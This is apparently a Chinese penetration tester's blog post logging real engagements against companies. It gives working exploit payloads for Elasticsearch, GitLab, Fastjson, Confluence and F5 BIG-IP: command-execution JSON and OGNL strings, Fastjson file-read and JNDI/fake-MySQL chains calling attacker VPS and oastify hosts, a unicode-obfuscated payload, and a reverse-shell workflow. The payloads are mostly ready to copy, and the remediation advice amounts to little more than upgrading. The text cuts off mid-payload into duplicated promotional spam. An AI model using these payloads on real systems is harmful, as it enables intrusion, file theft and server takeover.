三流安全工程师的渗透测试记录_ u0040 u0074 u0079 u0070 u0065

avatar
作者
筋斗云
阅读量:0

返回为成功,使用abc#123456确实登录成功。然而这并不意味着,无论何时,直接发送重置密码的数据包都能成功的,这里能成功,是因为手机验证码一般都会有个有效时间,大概发送验证码后的十分钟内,直接发送重置密码的包是能重置成功的。十分钟后虽然返回也是成功,但是登录不上。

给的修复建议是:

1.后端校验验证码是否正确;

2.去掉单独校验验证码的数据包,将验证码与修改后的密码在同一数据包中发送给后端,后端校验验证码正确后直接修改密码,不二次发包。

二、某企业内网存在Elasticsearch远程代码执行漏洞

这个是使用内网扫描神器fscan扫描出来(内网就是fscan一把梭哈),起先扫描的是fscan默认的端口,没啥成果,然后全端口扫描发现Elasticsearch的两个RCE。扫到洞,接下来不就是有手就行的事了嘛,payload在p神的vulhub里面就有。

1.Elasticsearch远程代码执行漏洞(CVE-2014-3120)

payload:

{       "size": 1,       "query": {         "filtered": {           "query": {             "match\_all": {             }           }         }       },       "script\_fields": {           "command": {               "script": "import java.io.\*;new java.util.Scanner(Runtime.getRuntime().exec(\\"id\\").getInputStream()).useDelimiter(\\"\\\\\\\\A\\").next();"           }       }     }  

复现截图:

2.Elasticsearch Groovy 沙盒绕过远程代码执行漏洞(CVE-2015-1427)

payload:

{"size":1, "script\_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"id\\").getText()"}}}  

复现截图:

给的修复意见就是升级咯~

三、某企业外网Gitlab存在SSRF和远程代码执行漏洞

这两个洞是在被测系统所部署的服务器开放的另一个端口上发现的。SSRF是看到版本后去搜的,RCE是使用nuclei扫描提示漏洞存在,然后去网上找脚本来复现的(脚本小子用着别人的脚本,真香)

1.Gitlab CI Lint API未授权 SSRF漏洞(CVE-2021-22214)

Burp中发送如下数据包,dnslog中收到请求:

该服务器是一台华为云服务器,没有内网,所以即使是存在SSRF也不能做什么事。SSRF我觉得除了用来探测内网,读取文件实际中就没啥用了,什么SSRF攻击内网,SSRF打redis未授权getshell,靶场中才会有,实际根本遇不到。

2.Gitlab授权认证远程代码执行漏洞(CVE-2022-2185)

项目地址:https://github.com/star-sg/CVE/tree/master/CVE-2022-2185https://github.com/ESUAdmin/CVE-2022-2185

漏洞分析复现:https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/

Gitlab漏洞汇总:https://xz.aliyun.com/t/11690

复现过程:

首先注册一个pentest/pentest@1234用户,在vps上启动一个FAKE_SERVER:

Nc监听12345端口:

运行poc脚本,运行反弹shell命令:

FAKE_SERVER上收到来自目标机器的请求:

4-5分钟后nc 接受到目标反弹回来的shell:

给的修复建议就是升级咯~

四、某企业外网存在Fastjson反序列化、内网Confluence远程代码执行漏洞

Fastjson反序列化是使用burp被动扫描插件fastjson scan扫描出来的,Confluence远程代码执行漏洞是fscan扫描出来的,然后网上去找payload(狗头)。

各版本fastjson利用payload可参考safe6sec:

https://github.com/safe6Sec/Fastjson

1.微信小程序fastjson反序列任意文件读取(类似时间盲注)

该小程序请求的domain1.target.com域名下的某个接口存在fastjson反序列任意文件读取,payload如下:

{     "abc":{"@type": "java.lang.AutoCloseable",       "@type": "org.apache.commons.io.input.BOMInputStream",       "delegate": {         "@type": "org.apache.commons.io.input.ReaderInputStream",         "reader": {           "@type": "jdk.nashorn.api.scripting.URLReader",           "url": "file:///etc/passwd"         },         "charsetName": "UTF-8",         "bufferSize": 1024       },"boms": \[         {           "@type": "org.apache.commons.io.ByteOrderMark",           "charsetName": "UTF-8",           "bytes": \[114,   \]         }       \]     },     "address": {         "@type": "java.lang.AutoCloseable",         "@type": "org.apache.commons.io.input.BOMInputStream",         "delegate": {           "@type": "org.apache.commons.io.input.ReaderInputStream",           "reader": {             "@type": "jdk.nashorn.api.scripting.URLReader",             "url": "http://xxxx.oastify.com/"           },           "charsetName": "UTF-8",           "bufferSize": 1024         },         "boms": \[{"$ref":"$.abc.BOM\[0\]"}\]     },     "xxx":{"$ref":"$.address.BOM\[0\]"}   }  

114对应/etc/passwd第一行第一个字节r的ascii码,当字节序列匹配时,dnslog上会收到请求:

当字节序列不匹配时,dnslog上接收不到请求:

尝试读取/etc/passwd的第一行,匹配的字节序列为:

“bytes”:[114,111,111,116,58,120,58,48,58,48,58,114,111,111,116,58,47,114,111,111,116,58,47,98,105,110,47,97,115,104,]:

即读取到/etc/passwd第一行为:

root:x:0:0:root:/root:/bin/ash  
2.管理后台存在fastjson反序列任意文件读取(类似布尔盲注)

payload如下:

{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"file:///etc/passwd"},"charsetName":"UTF-8","bufferSize":1024},"boms":\[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":\[114\]}\]},"address":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String"{"$ref":"$.abc.BOM\[0\]"},"start":0,"end":0}}  

114对应/etc/passwd第一行第一个字节r的ascii码,当字节序列匹配时,服务器返回状态为500:

不匹配则返回200:

尝试读取/etc/passwd文件的第一行,匹配的字节序列为:

“bytes”:[114,111,111,116,58,120,58,48,58,48,58,114,111,111,116,58,47,114,111,111,116,58,47,98,105,110,47,97,115,104,]:

即读取到/etc/passwd第一行为:

root:x:0:0:root:/root:/bin/ash  

有关fastjson反序列化读取文件可参考:

https://mp.weixin.qq.com/s/esjHYVm5aCJfkT6I1D0uTQ

https://tyskill.github.io/posts/fastjson%E6%97%A0%E5%9B%9E%E6%98%BE%E8%AF%BB%E6%96%87%E4%BB%B6/

3.微信小程序fastjson反序列化远程代码执行漏洞(fake mysql利用)

微信小程序请求的domain2.target.com域名下的三个接口存在反序列化RCE漏洞:

服务端启动一个fake mysql:

Burp中发送如下payload,让目标机器向目标域名xxxx.oastify.com发起一次DNS请求:

{"x":{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"vps\_ip","portToConnectTo":3306,"info":{"user":"yso\_URLDNS\_http://xxx.oastify.com","password":"ubuntu","useSSL":"false","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"},"databaseToConnectTo":"mysql","url":""}}  

发送后,fake mysql服务器上接收到目标请求,并将payload返回给目标机器,让目标机器执行:

过几秒后,r7zfjbp3hnp749lu4slz9rygr7xxlm.oastify.com接收到dns查询请求:

fake mysql利用难的是找到一条利用链getshell,此处试了ysoserial中的所有链子,并没有找到一条利用链子。关于fastjson RCE的fake mysql利用方式可参考:

https://github.com/dushixiang/evil-mysql-server

https://github.com/fnmsd/MySQL_Fake_Server

4.某后台存在fastjson反序列化远程代码执行漏洞(JNDI注入高版本绕过)

项目地址:https://github.com/veracode-research/rogue-jndi

Vps上启动一个ldap服务:

Burp中发送如下payload:

{"name":{"\\u0040\\u0074\\u0079\\u0070\\u0065":"\\u006a\\u0061\\u0076\\u0061\\u002e\\u006c\\u0061\\u006e\\u0067\\u002e\\u0043\\u006c\\u0061\\u0073\\u0073","\\u0076\\u0061\\u006c":"\\u0063\\u006f\\u006d\\u002e\\u0073\\u0075\\u006e\\u002e\\u0072\\u006f\\u0077\\u0073\\u0065\\u0074\\u002e\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c"},"x":{"\\u0040\\u0074\\u0079\\u0070\\u0065":"\\u0063\\u006f\\u006d\\u002e\\u0073\\u0075\\u006e\\u002e\\u0072\\u006f\\u0077\\u0073\\u0065\\u0074\\u002e\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c","\\u0064\\u0061\\u0074\\u0061\\u0053\\u006f\\u0075\\u0072\\u0063\\u0065\\u004e\\u0061\\u006d\\u0065":"ldap://x.x.x.x:2389/o=tomcat","autoCommit":true}}  

Dnslog上收到请求,且whoami被执行,权限为root:

关于JNDI注入高版本绕过可参考:

https://blog.csdn.net/mole_exp/article/details/121141042

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

5.内网Confluence存在CVE-2021-26084和CVE-2022-26134远程代码执行漏洞
(1)CVE-2021-26084

CVE-2021-26084即是Atlassian Confluence OGNL表达式注入代码执行漏洞,版本小于7.13.0,有多个接口存在这个OGNL表达式注入漏洞,重点关注以下三个路径:

在无需登录的情况下,访问/pages/doenterpagevariables.action或/pages/createpage-entervariables.action,如果存在,说明存在该漏洞。

在登录状态下(需要是管理员或有权限访问/admin/console.action),访问/pages/createpage.action,也可进行漏洞利用。

payload:

queryString\=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022\-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027  

Burp中发送如下数据包:

可以看到命令被执行,权限为root:

(2) CVE-2022-26134

Confluence OGNL 注入漏洞,查看返回数据包X-Cmd-Response字段内容

payload:

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf\-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X\-Cmd\-Response%22%2C%23a%29%29%7D/  

Burp中发送payload,获取服务器root权限:

Confluence漏洞合集:

https://www.dianjilingqu.com/504336.html

五、某企业内网F5-BIG-IP 远程代码执行漏洞(CVE-2022-1388)

该漏洞允许未授权的攻击者通过接口对BIG-IP系统访问,并能执行任意系统命令、创建、删除文件以及关闭服务

payload1:

POST /mgmt/tm/util/bash HTTP/1.1     Host: ip:port   Authorization: Basic YWRtaW46     Connection: keep-alive, X-F5-Auth-Token     X-F5-Auth-Token: 0        {"command": "run" , "utilCmdArgs": " -c 'id' " }  

payload2:

POST /mgmt/tm/util/bash HTTP/1.1       **自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**  **深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**  **因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。** ![img](https://img-blog.csdnimg.cn/img_convert/ce534d86e26dd9b3986433d6b88528e3.png) ![img](https://img-blog.csdnimg.cn/img_convert/0e17ab785be4531cb5af9c3c1aa912db.png) ![img](https://img-blog.csdnimg.cn/img_convert/675d343f78946eb283d4442b69b4f1b0.png) ![img](https://img-blog.csdnimg.cn/img_convert/3c7b342ea1165f68dd2a0c0e57ee3802.png) ![img](https://img-blog.csdnimg.cn/img_convert/ce20d6f0d6c0b73dadf83c2a29602c14.png) ![img](https://img-blog.csdnimg.cn/img_convert/a65a99cf7a4163b362aa8d96addb551e.png)  **既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!**  **由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**  **如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)** ![img](https://img-blog.csdnimg.cn/img_convert/65adace1faec122875c9bbd709a663f4.png)    ### 给大家的福利   **零基础入门**   对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。   ![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png)   同时每个成长路线对应的板块都有配套的视频提供:   ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center)   因篇幅有限,仅展示部分资料  **一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!** ![img](https://img-blog.csdnimg.cn/img_convert/99639eb93d556dcd7309e2c49768ae34.png)  9)]    ### 给大家的福利   **零基础入门**   对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。   ![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png)   同时每个成长路线对应的板块都有配套的视频提供:   ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center)   因篇幅有限,仅展示部分资料  **一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!** [外链图片转存中...(img-fdvcjFUm-1712884606089)]  

广告一刻

为您即时展示最新活动产品广告消息,让您随时掌握产品活动新动态!